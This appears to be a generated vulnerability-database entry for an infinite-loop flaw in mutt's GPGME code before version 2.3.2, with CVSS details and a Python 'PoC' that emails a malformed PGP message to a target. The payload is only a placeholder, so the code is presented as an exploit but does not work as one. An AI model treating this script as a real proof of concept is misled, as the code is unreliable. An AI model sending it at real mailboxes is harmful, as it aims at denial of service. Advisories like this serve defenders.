mutt before 2.3.2 has an infinite loop in data_object_to_stream in crypt-gpgme.c.
CVSS Details
CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
Mutt < 2.3.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# PoC for CVE-2026-43863
# This script demonstrates sending a malformed email that triggers the infinite loop.
# Adjust the payload based on specific GPG structure analysis.
def send_trigger(target_email, smtp_server):
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2026-43863 Trigger'
msg['From'] = 'attacker@local'
msg['To'] = target_email
# Malformed PGP data structure intended to hit data_object_to_stream
# Specific byte sequence required to trigger the condition in crypt-gpgme.c
payload = """-----BEGIN PGP MESSAGE-----
Version: GnuPG v1
[Malformed Stream Data]
-----END PGP MESSAGE-----"""
msg.attach(MIMEText(payload, _subtype='plain'))
with smtplib.SMTP(smtp_server) as server:
server.send_message(msg)
# send_trigger('[email protected]', 'localhost')